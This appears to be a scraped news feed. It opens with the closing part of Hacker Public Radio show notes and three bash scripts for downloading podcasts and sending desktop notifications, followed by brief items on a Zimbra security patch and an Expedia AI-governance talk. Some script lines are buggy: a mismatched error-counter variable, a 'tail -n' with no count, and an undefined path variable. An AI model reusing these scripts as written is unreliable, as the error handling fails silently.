Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[Zimbra 10.1.20 patches multiple security issues, including a critical command injection bug]]></title>
<description><![CDATA[Zimbra patched nine flaws in version 10.1.20, including a critical SNMP monitoring command injection issue enabling arbitrary command execution. Zimbra released version 10.1.20 to fix nine security vulnerabilities, including a critical command injection flaw in the SNMP monitoring component. The…...]]></description>
<link>https://tsecurity.de/de/3684752/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684752/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/</guid>
<pubDate>Tue, 21 Jul 2026 22:52:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zimbra patched nine flaws in version 10.1.20, including a critical SNMP monitoring command injection issue enabling arbitrary command execution. Zimbra released version 10.1.20 to fix nine security vulnerabilities, including a critical command injection flaw in the SNMP monitoring component. The…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/zimbra-10-1-20-patches-multiple-security-issues-including-a-critical-command-injection-bug/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/zimbra-10-1-20-patches-multiple-security-issues-including-a-critical-command-injection-bug/">Zimbra 10.1.20 patches multiple security issues, including a critical command injection bug</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple Watch Glucose Monitoring Cheat Sheet: Which Models Work and What You Need]]></title>
<description><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></description>
<link>https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684676/it-nachrichten/apple-watch-glucose-monitoring-cheat-sheet-which-models-work-and-what-you-need/</guid>
<pubDate>Tue, 21 Jul 2026 21:03:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Watch glucose monitoring cheat sheet compares compatible models, Dexcom, Libre, and Eversense support, pricing, battery life, and key setup needs.]]></content:encoded>
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<item>
<title><![CDATA[Zimbra 10.1.20 patches multiple security issues, including a critical command injection bug]]></title>
<description><![CDATA[Zimbra patched nine flaws in version 10.1.20, including a critical SNMP monitoring command injection issue enabling arbitrary command execution. Zimbra released version 10.1.20 to fix nine security vulnerabilities, including a critical command injection flaw in the SNMP monitoring component. The ...]]></description>
<link>https://tsecurity.de/de/3684666/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684666/it-security-nachrichten/zimbra-10120-patches-multiple-security-issues-including-a-critical-command-injection-bug/</guid>
<pubDate>Tue, 21 Jul 2026 21:02:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Zimbra patched nine flaws in version 10.1.20, including a critical SNMP monitoring command injection issue enabling arbitrary command execution. Zimbra released version 10.1.20 to fix nine security vulnerabilities, including a critical command injection flaw in the SNMP monitoring component. The vulnerability affects systems with SNMP notifications enabled and could allow attackers to execute arbitrary commands. […]]]></content:encoded>
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<title><![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]></title>
<description><![CDATA[“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other thi...]]></description>
<link>https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>“The new PRD are the evals,” Xavi Amatriain, <a href="https://www.expediagroup.com/en-us">Expedia Group’s</a> first chief AI and data officer, told the <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”</p><p>He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”</p><p>Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. </p><p>VentureBeat’s <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VB Pulse research on the evaluation gap</a> reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.</p><h2><b>Don’t let guardrails get in the way of feedback</b></h2><p>“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.</p><p>Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.</p><p>Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.</p><p>In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">the checks shift from recommended to required as the stakes climb</a>. </p><h2>Specialized agents over monolithic intelligence</h2><p>“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”</p><p>Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”</p><p>Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.</p><h2>When the user must keep the final click</h2><p>Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.</p><p>“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.</p><p>“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”</p><h2>The next attackers will be other AI systems</h2><p>“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”</p><p>A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”</p><p>Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">Pulse survey on agent security</a>, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.</p><p>Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”</p>]]></content:encoded>
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<title><![CDATA[How Continuous Posture Monitoring Transforms Cloud Risk Management]]></title>
<description><![CDATA[Learn how continuous posture monitoring strengthens cloud risk management, reduces attack surface exposure, and enables real-time security across multi-cloud environments.
